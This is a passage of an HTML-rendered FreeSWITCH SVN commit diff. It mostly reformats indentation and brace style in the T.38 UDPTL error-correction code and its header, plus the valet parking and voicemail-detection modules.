- span = s->error_correction_span;
- entries = s->error_correction_entries;
- if (seq < s->error_correction_span*s->error_correction_entries)
- {
- /* In the initial stages, wind up the FEC smoothly */
- entries = seq/s->error_correction_span;
- if (seq < s->error_correction_span)
- span = 0;
- }
- /* Encode the error recovery type */
- buf[len++] = 0x80;
- /* Span is defined as an inconstrained integer, which it dumb. It will only
- ever be a small value. Treat it as such. */
- buf[len++] = 1;
- buf[len++] = span;
- /* The number of entries is defined as a length, but will only ever be a small
- value. Treat it as such. */
- buf[len++] = entries;
- for (m = 0; m < entries; m++)
- {
- /* Make an XOR'ed entry the maximum length */
- limit = (entry + m) & UDPTL_BUF_MASK;
- high_tide = 0;
- for (i = (limit - span*entries) & UDPTL_BUF_MASK; i != limit; i = (i + entries) & UDPTL_BUF_MASK)
- {
- if (high_tide < s->tx[i].buf_len)
- {
- for (j = 0; j < high_tide; j++)
- fec[j] ^= s->tx[i].buf[j];
- for ( ; j < s->tx[i].buf_len; j++)
- fec[j] = s->tx[i].buf[j];
- high_tide = s->tx[i].buf_len;
- }
- else
- {
- for (j = 0; j < s->tx[i].buf_len; j++)
- fec[j] ^= s->tx[i].buf[j];
- }
- }
- if (encode_open_type(buf, &len, fec, high_tide) < 0)
- return -1;
- }
- break;
- }
</del><ins>+        /* Encode the primary packet */
+        if (encode_open_type(buf, &len, msg, msg_len) < 0)
+                return -1;
</ins><span class="cx">
</span><del>- if (s->verbose)
- fprintf(stderr, "\n");
- s->tx_seq_no++;
- return len;
</del><ins>+        /* Encode the appropriate type of error recovery information */
+        switch (s->error_correction_scheme) {
+        case UDPTL_ERROR_CORRECTION_NONE:
+                /* Encode the error recovery type */
+                buf[len++] = 0x00;
+                /* The number of entries will always be zero, so it is pointless allowing
+                 for the fragmented case here. */
+                if (encode_length(buf, &len, 0) < 0)
+                        return -1;
+                break;
+        case UDPTL_ERROR_CORRECTION_REDUNDANCY:
+                /* Encode the error recovery type */
+                buf[len++] = 0x00;
+                if (s->tx_seq_no > s->error_correction_entries)
+                        entries = s->error_correction_entries;
+                else
+                        entries = s->tx_seq_no;
+                /* The number of entries will always be small, so it is pointless allowing
+                 for the fragmented case here. */
+                if (encode_length(buf, &len, entries) < 0)
+                        return -1;
+                /* Encode the elements */
+                for (i = 0; i < entries; i++) {
+                        j = (entry - i - 1) & UDPTL_BUF_MASK;
+                        if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
+                                return -1;
+                }
+                break;
+        case UDPTL_ERROR_CORRECTION_FEC:
+                span = s->error_correction_span;
+                entries = s->error_correction_entries;
+                if (seq < s->error_correction_span * s->error_correction_entries) {
+                        /* In the initial stages, wind up the FEC smoothly */
+                        entries = seq / s->error_correction_span;
+                        if (seq < s->error_correction_span)
+                                span = 0;
+                }
+                /* Encode the error recovery type */
+                buf[len++] = 0x80;
+                /* Span is defined as an inconstrained integer, which it dumb. It will only
+                 ever be a small value. Treat it as such. */
+                buf[len++] = 1;
+                buf[len++] = span;
+                /* The number of entries is defined as a length, but will only ever be a small
+                 value. Treat it as such. */
+                buf[len++] = entries;
+                for (m = 0; m < entries; m++) {
+                        /* Make an XOR'ed entry the maximum length */
+                        limit = (entry + m) & UDPTL_BUF_MASK;
+                        high_tide = 0;
+                        for (i = (limit - span * entries) & UDPTL_BUF_MASK; i != limit; i = (i + entries) & UDPTL_BUF_MASK) {
+                                if (high_tide < s->tx[i].buf_len) {
+                                        for (j = 0; j < high_tide; j++)
+                                                fec[j] ^= s->tx[i].buf[j];
+                                        for (; j < s->tx[i].buf_len; j++)
+                                                fec[j] = s->tx[i].buf[j];
+                                        high_tide = s->tx[i].buf_len;
+                                } else {
+                                        for (j = 0; j < s->tx[i].buf_len; j++)
+                                                fec[j] ^= s->tx[i].buf[j];
+                                }
+                        }
+                        if (encode_open_type(buf, &len, fec, high_tide) < 0)
+                                return -1;
+                }
+                break;
+        }
+
+        if (s->verbose)
+                fprintf(stderr, "\n");
+        s->tx_seq_no++;
+        return len;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><del>-int udptl_set_error_correction(udptl_state_t *s,
- int ec_scheme,
- int span,
- int entries)
</del><ins>+int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries)
</ins><span class="cx"> {
</span><del>- switch (ec_scheme)
- {
- case UDPTL_ERROR_CORRECTION_FEC:
- case UDPTL_ERROR_CORRECTION_REDUNDANCY:
- case UDPTL_ERROR_CORRECTION_NONE:
- s->error_correction_scheme = ec_scheme;
- break;
- case -1:
- /* Just don't change the scheme */
- break;
- default:
- return -1;
- }
- if (span >= 0)
- s->error_correction_span = span;
- if (entries >= 0)
- s->error_correction_entries = entries;
- return 0;
</del><ins>+        switch (ec_scheme) {
+        case UDPTL_ERROR_CORRECTION_FEC:
+        case UDPTL_ERROR_CORRECTION_REDUNDANCY:
+        case UDPTL_ERROR_CORRECTION_NONE:
+                s->error_correction_scheme = ec_scheme;
+                break;
+        case -1:
+                /* Just don't change the scheme */
+                break;
+        default:
+                return -1;
+        }
+        if (span >= 0)
+                s->error_correction_span = span;
+        if (entries >= 0)
+                s->error_correction_entries = entries;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><del>-int udptl_get_error_correction(udptl_state_t *s,
- int *ec_scheme,
- int *span,
- int *entries)
</del><ins>+int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries)
</ins><span class="cx"> {
</span><del>- if (ec_scheme)
- *ec_scheme = s->error_correction_scheme;
- if (span)
- *span = s->error_correction_span;
- if (entries)
- *entries = s->error_correction_entries;
- return 0;
</del><ins>+        if (ec_scheme)
+                *ec_scheme = s->error_correction_scheme;
+        if (span)
+                *span = s->error_correction_span;
+        if (entries)
+                *entries = s->error_correction_entries;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram)
</span><span class="cx"> {
</span><del>- s->local_max_datagram_size = max_datagram;
- return 0;
</del><ins>+        s->local_max_datagram_size = max_datagram;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> int udptl_get_local_max_datagram(udptl_state_t *s)
</span><span class="cx"> {
</span><del>- return s->local_max_datagram_size;
</del><ins>+        return s->local_max_datagram_size;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram)
</span><span class="cx"> {
</span><del>- s->far_max_datagram_size = max_datagram;
- return 0;
</del><ins>+        s->far_max_datagram_size = max_datagram;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> int udptl_get_far_max_datagram(udptl_state_t *s)
</span><span class="cx"> {
</span><del>- return s->far_max_datagram_size;
</del><ins>+        return s->far_max_datagram_size;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><del>-udptl_state_t *udptl_init(udptl_state_t *s,
- int ec_scheme,
- int span,
- int entries,
- udptl_rx_packet_handler_t rx_packet_handler,
- void *user_data)
</del><ins>+udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data)
</ins><span class="cx"> {
</span><del>- int i;
</del><ins>+        int i;
</ins><span class="cx">
</span><del>- if (rx_packet_handler == NULL)
- return NULL;
</del><ins>+        if (rx_packet_handler == NULL)
+                return NULL;
</ins><span class="cx">
</span><del>- if (s == NULL)
- {
- if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
- return NULL;
- }
- memset(s, 0, sizeof(*s));
-
- s->error_correction_scheme = ec_scheme;
- s->error_correction_span = span;
- s->error_correction_entries = entries;
-
- s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
- s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
</del><ins>+        if (s == NULL) {
+                if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
+                        return NULL;
+        }
+        memset(s, 0, sizeof(*s));
</ins><span class="cx">
</span><del>- memset(&s->rx, 0, sizeof(s->rx));
- memset(&s->tx, 0, sizeof(s->tx));
- for (i = 0; i <= UDPTL_BUF_MASK; i++)
- {
- s->rx[i].buf_len = -1;
- s->tx[i].buf_len = -1;
- }
</del><ins>+        s->error_correction_scheme = ec_scheme;
+        s->error_correction_span = span;
+        s->error_correction_entries = entries;
</ins><span class="cx">
</span><del>- s->rx_packet_handler = rx_packet_handler;
- s->user_data = user_data;
</del><ins>+        s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
+        s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
</ins><span class="cx">
</span><del>- return s;
</del><ins>+        memset(&s->rx, 0, sizeof(s->rx));
+        memset(&s->tx, 0, sizeof(s->tx));
+        for (i = 0; i <= UDPTL_BUF_MASK; i++) {
+                s->rx[i].buf_len = -1;
+                s->tx[i].buf_len = -1;
+        }
+
+        s->rx_packet_handler = rx_packet_handler;
+        s->user_data = user_data;
+
+        return s;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> int udptl_release(udptl_state_t *s)
</span><span class="cx"> {
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> /*- End of file ------------------------------------------------------------*/
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_t38gatewayudptlh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -30,71 +30,66 @@
</span><span class="cx">
</span><span class="cx"> #define UDPTL_BUF_MASK 15
</span><span class="cx">
</span><del>-typedef int (udptl_rx_packet_handler_t)(void *user_data, const uint8_t msg[], int len, int seq_no);
</del><ins>+typedef int (udptl_rx_packet_handler_t) (void *user_data, const uint8_t msg[], int len, int seq_no);
</ins><span class="cx">
</span><del>-typedef struct
-{
- int buf_len;
- uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
</del><ins>+typedef struct {
+        int buf_len;
+        uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
</ins><span class="cx"> } udptl_fec_tx_buffer_t;
</span><span class="cx">
</span><del>-typedef struct
-{
- int buf_len;
- uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
- int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
- uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
- int fec_span;
- int fec_entries;
</del><ins>+typedef struct {
+        int buf_len;
+        uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
+        int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
+        uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
+        int fec_span;
+        int fec_entries;
</ins><span class="cx"> } udptl_fec_rx_buffer_t;
</span><span class="cx">
</span><del>-struct udptl_state_s
-{
- udptl_rx_packet_handler_t *rx_packet_handler;
- void *user_data;
</del><ins>+struct udptl_state_s {
+        udptl_rx_packet_handler_t *rx_packet_handler;
+        void *user_data;
</ins><span class="cx">
</span><del>- /*! This option indicates the error correction scheme used in transmitted UDPTL
- packets. */
- int error_correction_scheme;
</del><ins>+        /*! This option indicates the error correction scheme used in transmitted UDPTL
+         packets. */
+        int error_correction_scheme;
</ins><span class="cx">
</span><del>- /*! This option indicates the number of error correction entries transmitted in
- UDPTL packets. */
- int error_correction_entries;
</del><ins>+        /*! This option indicates the number of error correction entries transmitted in
+         UDPTL packets. */
+        int error_correction_entries;
</ins><span class="cx">
</span><del>- /*! This option indicates the span of the error correction entries in transmitted
- UDPTL packets (FEC only). */
- int error_correction_span;
</del><ins>+        /*! This option indicates the span of the error correction entries in transmitted
+         UDPTL packets (FEC only). */
+        int error_correction_span;
</ins><span class="cx">
</span><del>- /*! This option indicates the maximum size of a datagram that can be accepted by
- the remote device. */
- int far_max_datagram_size;
</del><ins>+        /*! This option indicates the maximum size of a datagram that can be accepted by
+         the remote device. */
+        int far_max_datagram_size;
</ins><span class="cx">
</span><del>- /*! This option indicates the maximum size of a datagram that we are prepared to
- accept. */
- int local_max_datagram_size;
</del><ins>+        /*! This option indicates the maximum size of a datagram that we are prepared to
+         accept. */
+        int local_max_datagram_size;
</ins><span class="cx">
</span><del>- int verbose;
</del><ins>+        int verbose;
</ins><span class="cx">
</span><del>- int tx_seq_no;
- int rx_seq_no;
- int rx_expected_seq_no;
</del><ins>+        int tx_seq_no;
+        int rx_seq_no;
+        int rx_expected_seq_no;
</ins><span class="cx">
</span><del>- udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
- udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
</del><ins>+        udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
+        udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-enum
-{
- UDPTL_ERROR_CORRECTION_NONE,
- UDPTL_ERROR_CORRECTION_FEC,
- UDPTL_ERROR_CORRECTION_REDUNDANCY
</del><ins>+enum {
+        UDPTL_ERROR_CORRECTION_NONE,
+        UDPTL_ERROR_CORRECTION_FEC,
+        UDPTL_ERROR_CORRECTION_REDUNDANCY
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> typedef struct udptl_state_s udptl_state_t;
</span><span class="cx">
</span><span class="cx"> #if defined(__cplusplus)
</span><del>-extern "C"
-{
</del><ins>+extern "C" {
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> /*! \brief Process an arriving UDPTL packet.
</span><span class="lines">@@ -102,7 +97,7 @@
</span><span class="cx"> \param buf The UDPTL packet buffer.
</span><span class="cx"> \param len The length of the packet.
</span><span class="cx"> \return 0 for OK. */
</span><del>-int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
</del><ins>+        int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
</ins><span class="cx">
</span><span class="cx"> /*! \brief Construct a UDPTL packet, ready for transmission.
</span><span class="cx"> \param s The UDPTL context.
</span><span class="lines">@@ -110,7 +105,7 @@
</span><span class="cx"> \param msg The primary packet.
</span><span class="cx"> \param len The length of the primary packet.
</span><span class="cx"> \return The length of the constructed UDPTL packet. */
</span><del>-int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
</del><ins>+        int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
</ins><span class="cx">
</span><span class="cx"> /*! \brief Change the error correction settings of a UDPTL context.
</span><span class="cx"> \param s The UDPTL context.
</span><span class="lines">@@ -118,10 +113,7 @@
</span><span class="cx"> \param span The packet span over which error correction should be applied.
</span><span class="cx"> \param entries The number of error correction entries to include in packets.
</span><span class="cx"> \return 0 for OK. */
</span><del>-int udptl_set_error_correction(udptl_state_t *s,
- int ec_scheme,
- int span,
- int entries);
</del><ins>+        int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries);
</ins><span class="cx">
</span><span class="cx"> /*! \brief Check the error correction settings of a UDPTL context.
</span><span class="cx"> \param s The UDPTL context.
</span><span class="lines">@@ -129,18 +121,15 @@
</span><span class="cx"> \param span The packet span over which error correction is being applied.
</span><span class="cx"> \param entries The number of error correction being included in packets.
</span><span class="cx"> \return 0 for OK. */
</span><del>-int udptl_get_error_correction(udptl_state_t *s,
- int *ec_scheme,
- int *span,
- int *entries);
</del><ins>+        int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries);
</ins><span class="cx">
</span><del>-int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
</del><ins>+        int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
</ins><span class="cx">
</span><del>-int udptl_get_local_max_datagram(udptl_state_t *s);
</del><ins>+        int udptl_get_local_max_datagram(udptl_state_t *s);
</ins><span class="cx">
</span><del>-int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
</del><ins>+        int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
</ins><span class="cx">
</span><del>-int udptl_get_far_max_datagram(udptl_state_t *s);
</del><ins>+        int udptl_get_far_max_datagram(udptl_state_t *s);
</ins><span class="cx">
</span><span class="cx"> /*! \brief Initialise a UDPTL context.
</span><span class="cx"> \param s The UDPTL context.
</span><span class="lines">@@ -150,21 +139,15 @@
</span><span class="cx"> \param rx_packet_handler The callback function, used to report arriving IFP packets.
</span><span class="cx"> \param user_data An opaque pointer supplied to rx_packet_handler.
</span><span class="cx"> \return A pointer to the UDPTL context, or NULL if there was a problem. */
</span><del>-udptl_state_t *udptl_init(udptl_state_t *s,
- int ec_scheme,
- int span,
- int entries,
- udptl_rx_packet_handler_t rx_packet_handler,
- void *user_data);
</del><ins>+        udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data);
</ins><span class="cx">
</span><span class="cx"> /*! \brief Release a UDPTL context.
</span><span class="cx"> \param s The UDPTL context.
</span><span class="cx"> \return 0 for OK. */
</span><del>-int udptl_release(udptl_state_t *s);
</del><ins>+        int udptl_release(udptl_state_t *s);
</ins><span class="cx">
</span><span class="cx"> #if defined(__cplusplus)
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><del>-
</del><span class="cx"> #endif
</span><span class="cx"> /*- End of file ------------------------------------------------------------*/
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_valet_parkingmod_valet_parkingc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -87,10 +87,11 @@
</span><span class="cx">         int i, r = 0, m;
</span><span class="cx">         char buf[128] = "";
</span><span class="cx">
</span><del>-        if (!min) min = 1;
</del><ins>+        if (!min)
+                min = 1;
</ins><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><del>-        for(i = min ; (i < max || max == 0) ; i++) {
</del><ins>+        for (i = min; (i < max || max == 0); i++) {
</ins><span class="cx">                 switch_snprintf(buf, sizeof(buf), "%d", i);
</span><span class="cx">                 m = !!switch_core_hash_find(lot->hash, buf);
</span><span class="cx">
</span><span class="lines">@@ -131,7 +132,7 @@
</span><span class="cx">                 lot = valet_find_lot(lot_name);
</span><span class="cx">                 switch_assert(lot);
</span><span class="cx">
</span><del>-                if (!strcasecmp(ext, "auto")) {                
</del><ins>+                if (!strcasecmp(ext, "auto")) {
</ins><span class="cx">                         const char *io = argv[2];
</span><span class="cx">                         const char *min = argv[3];
</span><span class="cx">                         const char *max = argv[4];
</span><span class="lines">@@ -165,7 +166,7 @@
</span><span class="cx">                                 switch_mutex_unlock(lot->mutex);
</span><span class="cx">                                 return;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_snprintf(dtmf_buf, sizeof(dtmf_buf), "%d", id);
</span><span class="cx">                         ext = dtmf_buf;
</span><span class="cx">                 } else if (!strcasecmp(ext, "ask")) {
</span><span class="lines">@@ -174,28 +175,28 @@
</span><span class="cx">                         int max = 11;
</span><span class="cx">                         int to = 10000;
</span><span class="cx">                         int i;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tmp = argv[2] ? argv[2] : switch_channel_get_variable(channel, "valet_ext_min");
</span><span class="cx">                         if (tmp) {
</span><span class="cx">                                 if ((i = atoi(tmp)) > 0) {
</span><span class="cx">                                         min = i;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tmp = argv[3] ? argv[3] : switch_channel_get_variable(channel, "valet_ext_max");
</span><span class="cx">                         if (tmp) {
</span><span class="cx">                                 if ((i = atoi(tmp)) > 0) {
</span><span class="cx">                                         max = i;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tmp = argv[4] ? argv[4] : switch_channel_get_variable(channel, "valet_ext_to");
</span><span class="cx">                         if (tmp) {
</span><span class="cx">                                 if ((i = atoi(tmp)) > 0) {
</span><span class="cx">                                         to = i;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tmp = argv[5] ? argv[5] : switch_channel_get_variable(channel, "valet_ext_prompt");
</span><span class="cx">                         if (tmp) {
</span><span class="cx">                                 prompt = tmp;
</span><span class="lines">@@ -211,7 +212,7 @@
</span><span class="cx">                                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_lock(lot->mutex);
</span><span class="cx">                 if ((uuid = switch_core_hash_find(lot->hash, ext))) {
</span><span class="cx">                         switch_core_session_t *b_session;
</span><span class="lines">@@ -224,7 +225,7 @@
</span><span class="cx">                                         switch_channel_event_set_data(switch_core_session_get_channel(b_session), event);
</span><span class="cx">                                         switch_event_fire(&event);
</span><span class="cx">                                         switch_core_session_rwunlock(b_session);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), uuid);
</span><span class="cx">                                         switch_mutex_unlock(lot->mutex);
</span><span class="cx">                                         return;
</span><span class="lines">@@ -241,7 +242,7 @@
</span><span class="cx">
</span><span class="cx">                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                                 switch_core_session_t *b_session;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((b_session = switch_core_session_locate(uuid))) {
</span><span class="cx">                                         switch_ivr_phrase_macro(session, "valet_announce_ext", tmp, NULL, NULL);
</span><span class="cx">                                         switch_ivr_session_transfer(b_session, dest, "inline", NULL);
</span><span class="lines">@@ -254,8 +255,8 @@
</span><span class="cx">
</span><span class="cx">                         switch_ivr_phrase_macro(session, "valet_announce_ext", tmp, NULL, NULL);
</span><span class="cx">                 }
</span><del>-                
-                        
</del><ins>+
+
</ins><span class="cx">                 if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VALET_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Valet-Lot-Name", lot_name);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Valet-Extension", ext);
</span><span class="lines">@@ -263,14 +264,15 @@
</span><span class="cx">                         switch_event_fire(&event);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(tmp = switch_channel_get_variable(channel, "valet_hold_music"))) {
</span><span class="cx">                         tmp = switch_channel_get_variable(channel, "hold_music");
</span><span class="cx">                 }
</span><del>-                if (tmp) music = tmp;
-                
</del><ins>+                if (tmp)
+                        music = tmp;
+
</ins><span class="cx">                 switch_core_hash_insert(lot->hash, ext, switch_core_session_get_uuid(session));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 args.input_callback = valet_on_dtmf;
</span><span class="cx">                 args.buf = dbuf;
</span><span class="cx">                 args.buflen = sizeof(dbuf);
</span><span class="lines">@@ -293,7 +295,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>- void *val;
</del><ins>+        void *val;
</ins><span class="cx">         char *name;
</span><span class="cx">         valet_lot_t *lot;
</span><span class="cx">
</span><span class="lines">@@ -310,9 +312,10 @@
</span><span class="cx">                 switch_hash_this(hi, &var, NULL, &val);
</span><span class="cx">                 name = (char *) var;
</span><span class="cx">                 lot = (valet_lot_t *) val;
</span><del>-                
-                if (!zstr(cmd) && strcasecmp(cmd, name)) continue;
-                
</del><ins>+
+                if (!zstr(cmd) && strcasecmp(cmd, name))
+                        continue;
+
</ins><span class="cx">                 stream->write_function(stream, " <lot name=\"%s\">\n", name);
</span><span class="cx">
</span><span class="cx">                 for (i_hi = switch_hash_first(NULL, lot->hash); i_hi; i_hi = switch_hash_next(i_hi)) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_vmdmod_vmdc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -128,50 +128,50 @@
</span><span class="cx">
</span><span class="cx"> /*! Type that holds state information about the beep. */
</span><span class="cx"> typedef enum vmd_state {
</span><del>- BEEP_DETECTED, BEEP_NOT_DETECTED
</del><ins>+        BEEP_DETECTED, BEEP_NOT_DETECTED
</ins><span class="cx"> } vmd_state_t;
</span><span class="cx">
</span><span class="cx"> /*! Type that holds data for 5 points of discreet energy separation */
</span><span class="cx"> typedef struct vmd_point {
</span><del>- double freq;
- double ampl;
</del><ins>+        double freq;
+        double ampl;
</ins><span class="cx"> } vmd_point_t;
</span><span class="cx">
</span><span class="cx"> /*! Type that holds codec information. */
</span><span class="cx"> typedef struct vmd_codec_info {
</span><del>- /*! The sampling rate of the audio stream. */
- int rate;
- /*! The number of channels. */
- int channels;
</del><ins>+        /*! The sampling rate of the audio stream. */
+        int rate;
+        /*! The number of channels. */
+        int channels;
</ins><span class="cx"> } vmd_codec_info_t;
</span><span class="cx">
</span><span class="cx"> /*! Type that holds session information pertinent to the vmd module. */
</span><span class="cx"> typedef struct vmd_session_info {
</span><del>- /*! State of the session. */
- vmd_state_t state;
- /*! Snapshot of DESA samples. */
- vmd_point_t points[POINTS];
- /*! Internal FreeSWITCH session. */
- switch_core_session_t *session;
- /*! Codec information for the session. */
- vmd_codec_info_t vmd_codec;
- /*! Current position in the snapshot. */
- unsigned int pos;
- /*! Frequency aproximation of a detected beep. */
- double beep_freq;
- /*! A count of how long a distinct beep was detected
- * by the discreet energy separation algorithm. */
- switch_size_t timestamp;
</del><ins>+        /*! State of the session. */
+        vmd_state_t state;
+        /*! Snapshot of DESA samples. */
+        vmd_point_t points[POINTS];
+        /*! Internal FreeSWITCH session. */
+        switch_core_session_t *session;
+        /*! Codec information for the session. */
+        vmd_codec_info_t vmd_codec;
+        /*! Current position in the snapshot. */
+        unsigned int pos;
+        /*! Frequency aproximation of a detected beep. */
+        double beep_freq;
+        /*! A count of how long a distinct beep was detected
+         * by the discreet energy separation algorithm. */
+        switch_size_t timestamp;
</ins><span class="cx">         /*! The MIN_TIME to use for this call */
</span><span class="cx">         int minTime;
</span><span class="cx"> } vmd_session_info_t;
</span><span class="cx">
</span><del>-static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame);
-static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type);
</del><ins>+static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame);
+static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type);
</ins><span class="cx"> static double freq_estimator(double *x);
</span><span class="cx"> static double ampl_estimator(double *x);
</span><del>-static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max);
-static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame);
</del><ins>+static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max);
+static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame);
</ins><span class="cx"> static double median(double *m, int n);
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -187,40 +187,40 @@
</span><span class="cx"> * @param type The switch callback type.
</span><span class="cx"> * @return The success or failure of the function.
</span><span class="cx"> */
</span><del>-static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
</del><ins>+static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
</ins><span class="cx"> {
